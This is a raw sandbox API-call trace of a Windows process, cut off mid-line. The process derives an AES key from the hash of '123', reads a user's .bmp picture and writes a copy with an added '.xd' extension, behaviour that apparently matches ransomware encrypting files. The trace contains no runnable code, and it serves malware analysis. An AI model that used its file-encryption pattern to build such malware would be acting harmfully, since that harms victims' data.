PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.251] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.251] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.251] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.251] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.252] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.252] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.252] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaab0) returned 1 [0060.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.253] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.254] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.254] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.254] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.254] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.254] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.254] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.255] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.255] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.255] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621528, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.255] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.255] CryptCreateHash (in: hProv=0x17aaab0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.255] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.256] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.256] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.256] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.256] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.256] CryptHashData (hHash=0x164c630, pbData=0x1629450, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.257] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.257] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.257] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.257] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.257] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218b8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.257] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.257] CryptDeriveKey (in: hProv=0x17aaab0, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c770) returned 1 [0060.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.257] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.258] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.258] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.258] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.258] CryptDestroyHash (hHash=0x164c630) returned 1 [0060.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.258] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\larum.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.259] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.259] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.259] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1")) returned 0x10 [0060.259] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\larum.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.262] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.262] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0060.263] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x80ce, lpOverlapped=0x0) returned 1 [0060.264] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.271] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.272] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.272] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.272] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.272] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.272] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.272] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.272] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.272] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.272] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.272] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.273] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.273] CryptGetKeyParam (in: hKey=0x164c770, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.273] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.273] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.273] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.273] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.273] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.273] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.273] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.273] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.273] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.273] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.273] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.274] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 